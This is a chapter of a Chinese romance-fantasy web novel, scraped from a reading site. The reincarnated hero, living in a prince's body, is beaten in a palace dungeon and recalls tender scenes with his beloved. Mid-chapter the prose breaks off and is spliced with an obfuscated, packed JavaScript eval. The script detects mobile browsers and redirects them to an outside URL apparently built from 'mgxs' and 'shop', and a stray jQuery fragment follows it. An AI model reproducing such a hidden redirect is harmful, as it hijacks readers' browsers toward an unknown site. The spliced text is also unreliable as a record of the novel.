默认冷灰
24号文字
方正启体

12. 光独照我

作者:厥唱本书字数:K更新时间:
    松亭雪方才被某人潮湿的泪浸痛了,习惯性、下意识的心疼和铺天蔽日、汹涌澎湃的狂喜一起涌上来,捻泪的指尖此时还在发麻、微微颤抖个不歇。


    苦药味渡过了肺,便是让人无法自拔的沉香,热烈的阳光斜洒进椒花殿,更是,独独照他一人。


    芳香和温暖无比深刻、真切地给了他重生以来,专属无二、不可替代的踏实和安全感。


    松亭雪看似冷静、面不改色,实则人还未彻底从喜泪交织的情绪中抽离,以至于他闻言竟有些恍惚了,不禁怀疑起自己的耳朵。


    这长安王妃的声音……


    怎么感觉快要哭出来了。


    什么字?


    难道是,娘?


    他生来便心性柔软、很容易共情,刚才闹得再不愉快、性子上来了骨头再硬,闻声也不自觉地态度缓和下来、悄然收起了浑身为某人蓬松炸开的刺。


    这么想听?


    叫一声也不费事,让我们医圣大人高兴些,可千万别哭……


    他松亭雪可不想有那般能耐,在这一早上,接连惹哭两个医修界了不得的大人物,那可真是罪过,罪过啊。


    但是呢,人都说了,从、来、没唤过。


    这个场合,这么多人在,刚才两人还闹得对峙摔杯,现在的谢仰心再软,那刀子嘴也不可能叫这一声“娘”。


    不发动“毒舌”技能,“一语震碎人心”就算小神医可真能干,终于忍住这一回了,我们一起夸夸“自己”好不好?


    所以呀,不能说,会露馅的。


    当着如此多人的面露陷,定会被发现端倪。


    此前种种肆意之举,正因为够荒唐,才更符合谢仰此人任性妄为、无人可拘他的“拽帝”个性。


    自然,谢岷敞就算知道了,再生气也气习惯了、适应了……


    他有时候都在合理怀疑,谢仰天天试探他的忍耐临界,别有用意,说不定就一直惦记着,哪天真要给他搞个大的。


    刺杀朝璟、当众调戏小娘,都是在试试水、洒洒水了。


    不过,谢仰能搞什么大的?


    他心里最大的就是松亭雪了。


    逆子!也不像老子。


    像谁?都说“外甥像舅”。


    他小舅舅,好男色吗?


    下次遣人去“天之南.地之北”那块地方,好好打听打听。


    不过人都死了……


    把锅扣人头上还有什么意义呢。


    话说回来,试探更猛的事,和说一个基本不可能说的字,区别太大了。


    谢岷敞一定会怀疑的。


    灵魂互换,可不是件好解释的事,更别说还有重生。


    重生之人所掌握的秘密,可是天底下最香的饽饽。


    若非有不得已的苦衷,还是暂且不考虑让任何无关人等知道真相为妙。


    若真有那般苦衷,得好好想个万全之策。


    否则,这香饽饽人人都觊觎,还“金手指”呢,真如上官荆所说,几条命都不够活到白首。


    血衣国师最是聪明、冷静,应该重生一睁眼,没片刻工夫就开始琢磨了吧。


    倒是半点不需要他松亭雪操心,跟着人“演”就对了,省心省脑子。


    难怪这会儿他后背有阳光,心里这么踏实安稳。


    说来,若是灵魂可以换过来的话,倒是会少一些麻烦,毕竟演技再好,也有失足的时候,难保之后不出错,也难说早就已经出过错了……


    此前松亭雪幻想谢惊鸿从他身体里醒来,会自抽魂魄和他互换,不过都是“纸上谈兵”、大胆空想罢了。


    这怎么实践?


    这会儿还没人试过吧。


    人的灵魂可不像妖灵、鬼魂那般抗造,三魂七魄,很容易丢散的。


    要是不小心弄丢了,翻越山与海,脚都走跛了,也遍寻不到。


    就算让誉满杏林的血衣国师亲自试,他谢惊鸿也不敢轻易动手吧,还是要找到帮他们还魂的那位深不可测的人物才行。


    松亭雪倒是不觉得离魂有多可怕,也敢让国师大人一试。


    但,不是当年了,他现在很想活。


    前世他以为朝璟能护住谢惊鸿的,再不成还有小舅舅,还有他二哥,难道也……


    死的死,死的死,死的死……


    明明都是一个赛一个的天之骄子啊!


    心绞痛……


    罢了,我的人,我自己来护。


    那么就先,让我作为谢仰而活。


    如若能活久一点的话,这一世不会有血衣国师。


    纵是红衣,也该不沾污血、不染尘埃,干干净净、清清白白。


    从前世人都恨他谢惊鸿,但松亭雪从未恨过,他知时事弄人,非他之过,一直都知。


    也自始至终,坚定地信他。


    从未动摇过,连一次怀疑也没有。


    所以,这一次,他要让人人都喜欢他。


    不是都说我松亭雪是“万人迷”吗?真话假话,换个躯壳就知道了。


    “罢了……”上官荆转眼就收敛了情绪,变回之前那个早已漠然了的长安王妃。


    一般人压根察觉不到她那一瞬的情绪外露,不愧是做长安王妃的人。


    这个位置,寻常人真坐不了。


    上一个不就受不了,丢下一纸和离书“带球跑”,直接去了忘俗山,再不过问世事了么。


    上官荆:“谢仰,你应知长安王为何一早便遣人唤你来我这里。”


    “知道——”


    收敛了一身刺的松亭雪,此刻又露出柔软的一面,乖顺地点点头说,“来帮忙收在场诸位的礼的,毕竟东西都重,您一个人搬不动,需要一个浑身野蛮大力的绝佳小帮手。”


    “……谢仰!”


    啊?


    啊啊啊?


    又怎么啦,我们朝天椒大小姐!


    众人俱是啼笑皆非,没想到长安小王爷这么风趣,摆着一张冷脸开玩笑,真有种直击人心的强烈反差感呢。


    啊~姐姐们好想逗。


    奈何不敢。


    “你一句不呛声,就会把自己毒死了么?”上官荆怒斥一声,不知自哪又翻了个杯子出来,再次扔偏了。


    这回松亭雪怕伤着谢仰,赶紧一个跃步,躲过了,就听她继续骂:“让你好好说一句话,就那么难!对我也是,对长安王也是,你干脆入赘不入尘松家去算了!反正你只跟那里的人好好说话!”


    人说“家丑不可外扬”,到底年轻时候就是江渝境出了名的女中豪杰,自然从来不在意任何人嚼舌根。


    想说什么就说什么,自己痛快就行,全不顾旁人如何瞋目咋舌、下巴都惊掉了……


    谢岷敞听了“断肠仙人”的名讳要割人喉,她却无所谓,随便别人怎么说。


    说暮绡落比她漂亮,她赞同。


    说暮绡落比她温柔,她呵呵。


    说暮绡落比她厉害,要死啊你!


    不过都是嘴上说说,实则旁人问她这位的事,她句句有回应。


    也听不出好赖,毕竟她嘴毒,好话也能说成赖话。


    总之,两人不像情敌。


    至于像什么还真不好说,毕竟画人难摹骨,观面难观心啊。


    松亭雪单纯,一向觉得长辈说的话,都是真要付诸行动的,所以他洗澡真的只打半桶水,不过谢仰日日都会把聆清湖的水搬来分给他就是了……


    真是力气没地方使了,有那么多野劲干点什么别的不好。


    我宫殿旁边也有湖啊,需要你大老远搬来?


    真是一天不吸仙气儿都难受。


    喜静?天大的笑话!


    闻言,松亭雪便当真了,半点不正经地神神叨叨,又跟故意噎人似的:“入赘?那可不行,松家哪有姑娘啊,再说尚公子丧妻不娶,我师父失踪不归,我小师叔嘛,倒是……”


    不入尘灵境,大少主,松毓,松闻风。


    人称“花鸟虫鱼.尚公子”。


    上官荆拍案:“你还真盘算起来了!”


    松亭雪也是这会儿才发现,杯子没有了,上官荆是不会再丢其他东西的,比如茶壶什么的。


    难免嚣张起来,背都挺直了,他控制了一下,才没有叉腰,而是老实背着双手,忿忿不平道:“母妃到底要我做什么,直说好了,做什么一直大声吼人,我谢小王爷不要面子的么?”


    松亭雪这句带上火气了。


    他真不觉得这一通对话下来,是他在故意噎人。


    明明是长安王妃有话不直说、有话不好好说,跟某人一个德行。


    他松亭雪又不是听不懂直白的话,为什么一个两个的都喜欢跟他绕弯子,也不能因为他聪明就上这么大难度啊。


    头疼!


    殿中又陷入沉寂,就见上官荆的脸色不一样了。


    蹙成一团的眉头此时竟然舒展开了,难得感觉不到扑面而来的“川香麻辣味”,罕见的,露出了大家闺秀、王侯贵女的淑女莞尔笑容。


    松亭雪后背发凉,做什么?


    要搞事情?


    先礼后兵?


    当场杀人?


    上官荆一扬手,喊了句“来人”。


    果真来了两个府兵,差点上手了,好像又忽然想起什么,在松亭雪身旁站得端端正正、老老实实。


    松亭雪顺着他俩的目光,瞧了眼腰间的短刀宿火。


    哎哟,我家“渡鬼佛”送的东西就是好,震慑力极强。


    不入尘灵境,二少主,松晚,松沉雨。


    人称“杏花雨.渡鬼佛”。


    “王妃这是?”


    松亭雪还用问么,府兵都来了,这是要上刑啊!


    当着这么多姐姐妹妹婶婶姑姑叔母伯母的面,还真不把小王爷的脸面当回事。


    好在,上官荆还有点良知,一摆手:“带下去。谢仰,你记住了,长安王吩咐的,不过每次都假手于我,好处都占了,他要做君子,让本宫做恶人。你今后若要恨,别恨我。恨我的人不知凡几,多你一个不多,少你一个上善。”


    何意味??


    松亭雪听得一头雾水。


    ——不过很快他又知道了。


    他还是第一次进王府地牢呢,以至于他压根不知道有这么个暗无天日、压抑得要死的破地方!


    他,雪裳仙君、不入尘灵境小少主,两辈子都没进过这种腌臜肮脏地。


    “小王爷快自己进去吧,别让属下们为难。您知道的,早进晚进都要进,拖得久了,惩罚只会翻倍。”


    松亭雪实在下不去脚,一刻前,他还心道再也不让谢仰沾污血了,现在又要趟血水。


    唉!


    我们谢小王爷,天生金贵明净,可想要不染脏血,怎么就这么难!


    忽传来撕心裂肺的痛喊声,松亭雪不惊吓,闭了下眼,好不容易才控制住自己。


    冷静,冷静。


    我现在是全大泱最冷静的人。


    松亭雪缓缓吐出一口气,冷冰冰道:“地方还有多远?不远的话,可以给我铺些毡毯么?寻常稻草也凑合。”


    府兵一皱眉,小王爷又想做什么?


    平日里别说踩这一地新鲜的血水了,就算直接全身泡在污血里也不会眨眼的。


    没办法……


    他不铺东西,这“小狐狸”就不走,只能见招拆招了。


    长安境到底是有钱,拿来的还真是厚重的羊毛毯子,而非稻草、木块、砖瓦什么的。


    钱都花在这种破地方了,该花的不花!


    也不知关这里面的人都犯什么事了,其实吧,倒也没几个,不然也不会让人感觉这么鬼气森森了……


    想也是因为要么罚完就撵走了,要么死了……


    昨日那个提起“断肠仙人”的兄台,还好吗?


    还以为江渝王出面,算是救了他一命呢。


    现在听这哀嚎声,声音好接近啊。


    嘶,细思极恐!


    谢岷敞就这么听不得这名讳,是不愿想起她?


    那您天天看见她儿子在跟前晃悠,还总是惹你生气,不是要气死了吗?


    小谢仰啊,你没死真是福大命大。


    上官荆说话直,但细想也没错,再来个儿子,卿生来贵骨,命却薄如蝉翼。


    我松亭雪小心翼翼护了那么久,我一死,这金翼便被人生生折断了,鲜血淋漓。


    “惊鸿”这个字,确实大了些……


    松亭雪从前也是真不清楚,谢岷敞竟会这么痛恨暮绡落。


    不就是扔下一纸和离书,丢了你长安王的面,还怀着谢仰跑了么?


    有什么深仇大恨?


    你长安王的颜面就那么重要?


    松亭雪心不在焉地刚进了“谢仰专属牢房”,直接就是一棍子打腰上。


    哇,痛啊!


    能不能给点提醒?直接就打啊!


    松亭雪这人,腰特别敏感,碰都碰不得。


    被冷不丁打这么一下,差点就还手了!


    府兵正要打第二下,松亭雪一把握住了棍子。


    就这一下,霜冷的寒气都快蔓延到府兵的心脉了。


    府兵欲哭无泪,两股战战、浑身发抖,心中哀嚎不止:今日当值的为何是我啊,小命休矣!


    心里都打好遗书的草稿了,就见小王爷笑意森然,松了手:“劳烦,别打腰,臀也不行……懂?”


    “好好好好好好好,遵小王爷命。”


    如释重负,如蒙天恩!


    府兵力道虽不敢减,但完全避开了这两处。


    松亭雪默默受着,心说,昨日将行拜礼前的那些话,当时长安王没计较,过后原来还是重罚了。


    松亭雪还以为长安王就这么一个儿子,应也是千恩万宠,不会罚的……


    不怪他想不到,谢岷敞这个人在人前太会演了,谢仰这个人该忍的时候不忍,不该忍的时候竟然这么能忍。


    从前,还真是又误会了……


    就这么几日,松亭雪对谢惊鸿的印象大为改变,从前,他以为小王爷金贵骄纵,爱憎分明,有仇报仇,从不会忍的……


    从前,他以为血衣国师想要什么就一定要得到,也从没有得不到的、缺失的,又何须演?


    现在看来,还真是能忍、会演,这两点和谢岷敞倒是像。


    谢惊鸿啊,你还真是把我当外人,给我看的永远是你想给我看的样子。


    你可知,无论你是什么样子,我松亭雪,从来都是“照单全收、半步不退”的?


    ——哇!好痛啊!


    肯定又皮开肉绽了,背上的伤好不容易才养好,又来了……


    松亭雪心中隐隐钝痛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231080|197613||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,傻瓜,既知会挨罚,为什么非要说那么几句。


    这堂拜就拜了,他松亭雪也不会少块肉,可这一顿好打下去,真的会失血少肉的。


    没错,现在的松亭雪已经不觉得,当时谢仰就是逞个嘴快、耍个威风,因为不满意他爹娶男子而说一大堆浑话了。


    压根没必要,这些话要说,早便说了。


    早在长安王说要娶他松亭雪之时,他谢仰便可以说了,还会等到昏礼当天?


    唯一的解释就是,他当时就是为了护着自己,不受这个屈辱……


    松亭雪忽想到,若他作为谢仰,当时不说那些话呢?是不是就不用挨罚了。


    可没有谢仰护着的松亭雪,还是松亭雪吗?


    会不会慢慢变成另一个完全陌生的人呢?


    嘶,好高深的问题。


    真要嗅到水仙花味了……


    松亭雪暂且不管这一世的自己会怎样改变,只心中猛然一阵后知后觉的感动道,谢惊鸿,不是亲口说过恨我吗?


    怎么到头来,你对我,这么好。


    到底是恨,还是悔。


    又或者,那年的地之北,你我,都有遗憾。


    所以,言不由衷。


    从前是我两眼空空,什么也看不到,看不清人性,看不明真心了。


    后背基本被打得无一处完好时,又来一个府兵,提了桶盖子盖着的不知什么。


    刚要往他身上倒,松亭雪伸手:“且慢。”


    府兵浑身刺挠,真难受:“……又怎么了,我的小王爷?”


    松亭雪脑海中忽闪过“朝天椒大小姐”,倒也不觉得痛了,忍不住心中一笑。


    面上依旧覆着寒霜,他道:“血不行。”


    “血?这桶么?是次次都在用的盐水啊,您是不是几日未休息好,人糊涂了,有没有发烧啊……”


    这府兵人还不错,知道关心人,还着急忘了什么,正要伸手去探他额头,宿火在眼前转了一圈。


    府兵:“……差点忘了,这世上所有人都发烧了,我们长安境第一小神医也不会。”


    “多谢夸奖……啊!”


    松亭雪嘴唇都咬破了,也没忍住这一声惨叫。


    往伤口上泼盐水啊!还极其浓稠,跟直接撒盐有什么区别?这样覆盖面更大吗?


    谢岷敞,伪君子,真小人!


    活该你生不出儿子!


    ……等等。


    长安王不会以为他生不出儿子,是因为“断肠仙人”吧。


    嘶,可能性倒是最大!


    但没有证据,怎好胡乱猜测的?


    谢岷敞此人心思深沉,做事极有条理,讲求因果道理,不会随便被人牵着鼻子走,更不会做别人手里的刀,他会笃定是“断肠仙人”做的,只有一个可能——


    他确定自己被下毒了。


    而且此毒无解,他这么多年,试了那么多次,也没有解。


    倒没听说过他在泱国贴什么告示,寻过任何名医。


    也是,泱国最好的医修,尽数在他谢府了,他还寻什么别人?


    此前说上官荆当时名声响亮得很,从三点可见一斑。


    其中第三点,鲜有人知的一点。


    松亭雪也是后来在临天境,大半夜睡不着的时候,听某位国师大人在床边,如数家珍般说的。


    天下医修无数,行医与修仙不同,需行万里路、尝百草、救治很多人,才能精进。


    谢仰这般不用努力就能扬名的天才罕见。


    是吗?


    而上官荆,就是昔年溟国的另一个医修天才。


    至今在坊间神秘人排行榜仍居第一的,“辣个女人”。


    当年临天境设医修之间的擂台赛,要比针灸、识草、制药、按穴等等等等,数万名医修,比到最后只剩五人。


    谁能治好朝崇阳他爹,也就是当今君圣朝璟他爷爷的某个隐疾,让他再展雄风,就能夺得魁首。


    五名从万人中脱颖而出的天才医修,只一名女子,还头戴幕篱,把辣椒串当挂坠戴。


    讲故事么。


    若不是第一,眼高于顶的国师大人可不会讲。


    故而,这故事的高.潮便是,就是这名女子治好的这一隐疾。


    而她,就是“朝天椒大小姐”。


    当日上官荆夺魁,该领黄金千两的时候,人却消失了。


    这么多年了,世人都在寻她,隔年朝崇阳更是放话——


    若是“辣个女人”愿意,他一国之尊,三书六礼,许以皇后凤位。


    当时的皇子就一个贵妃生的朝朔,朝崇阳一生未立后,早年是选了又选,没挑中获利最大的。


    后来是,唯一心仪的,遍寻不到。


    估计他死那天的走马灯中,还能看见一个头戴幕篱、挂着辣椒串的纤纤身影。


    松亭雪听了故事,自然有疑问——


    一问,黄金千两为什么不要。


    大小姐,你就算再急,钱领一下不费事吧,想想就心疼,那么多钱。


    凭自己的真本事,正大光明地赢来的,为什么不要?


    某位国师说:“松杳杳,你有没有好好听故事,隐疾、一展……听不懂么?”


    松亭雪满脑子“正大光明”,真不懂这怎么了,你谢惊鸿平时那般桀骜无束,这会儿装什么纯情?搞的好像我不纯一样!


    就你最纯。


    你谢惊鸿“翩若惊鸿美男子、实则纯情大处.子”,拽什么?


    你比我高贵吗?小狗?


    松亭雪那阵子总是很容易不爽,故意装不明白道:“谢仰仰,烦请您老人家大发慈悲,说话直白些,我不入尘尊主灵法仙书都看不完,没空研读细品您的名句大作,听不懂您的弦外之音!”


    某位已经是“惊世骇俗.血衣国师”的人,还要被人叫“谢仰仰”,也是无奈:“就是那种病。”


    “哪种?”松亭雪装傻到一半,受惊了,“你看我哪儿呢?大胆!”


    某位世人皆说“阴狠毒辣至极”的血衣国师,此时眉目如画,耐性很好地慢慢诱导:“你说我看你哪儿?”


    “哇,你真不要脸,竟然看我翘臀。”


    “…………”


    谢惊鸿也受惊了。


    谁教你这词的??


    又是长公主殿下那位气死人不偿命的小竹马???


    谢惊鸿眉心直跳,捏了又捏,“三分无奈七分宠”道:“拜托,半吊子医师,您的,屁股,在被子下面,紧贴着床呢,我看的明明是……算了,还有什么问题,我想睡觉了,我看你倒是越来越兴奋了。”


    松亭雪是兴奋,但不能每天都不让人睡觉吧。


    天又快亮了,又能看见第二天的朝日了呢,真美好。


    “就最后一个问题,为什么不做皇后?”


    谢惊鸿看着他的脸,月牙般星亮的眼睛,自己也就三息没说话,松亭雪已经转瞬间又入睡了。


    明明是极美的睡颜,却像一根金针狠狠地直接扎入眼瞳,毫不夸张,就有那么痛。


    比那年谷雨,长安王城挂满的红绸还明艳冶丽,更让人魂断神伤……


    终究再痛也舍不得少看一眼,谢惊鸿终于牵住了他的手,缓缓开口。


    “惊蛰时节,惊鸿一瞥,自此什么天家龙凤,再不敌人间烟火小神仙。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)